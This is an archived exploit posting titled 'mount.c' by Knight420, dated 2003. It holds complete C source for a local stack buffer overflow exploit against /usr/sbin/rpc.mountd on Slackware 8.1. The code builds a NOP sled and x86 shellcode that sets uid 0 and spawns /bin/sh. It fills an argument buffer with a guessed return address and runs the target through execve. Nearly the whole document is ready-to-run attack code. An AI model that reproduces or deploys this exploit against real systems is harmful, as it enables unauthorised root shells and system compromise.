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mount.c

mount.c
Posted Jan 4, 2003
Authored by Knight420

/usr/sbin/rpc.mountd Local Exploit tested on Slackware 8.1. Test only - not setuid.

tags | exploit, local
systems | linux, slackware
SHA-256 | 35bdc9b60002a0fd0830a0017a3e2e788a9a39daacef3f7529779e71f7589149

mount.c

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/*
* /usr/sbin/rpc.mountd Local Exploit
* by: Knight420
* /09/08/02/
* Tested on Slackware 8.1 but not suid
*
*/

#include <stdio.h>

#define STACK_START 0xC0000000

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"
"\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";

int main(int argc, char *argv[]) {
char buff[5000];
char buff2[5000];
int *ptr;
int ret;
char *arg[] = { "rpc.mountd","-d",buff,NULL } ;
char *env[] = { buff2, NULL };

if(argc < 2) {
printf("Usage: %s <ret>\n",argv[0]);
exit(0);
}

ret = STACK_START - atoi(argv[1]);

for(ptr = (int*)&buff[0]; ptr < (int*)&buff[5000]; ptr++)
*ptr = ret;
buff[sizeof(buff)-1] = 0;

snprintf(buff2,sizeof(buff2),"SHELL=%s",shellcode);

printf ("rpc.mountd Local Exploit by: Knight420\n");
printf ("Return Addr: %p\n",ret);
printf ("Spawning sh3ll\n");
execve("/usr/sbin/rpc.mountd",arg,env);
}


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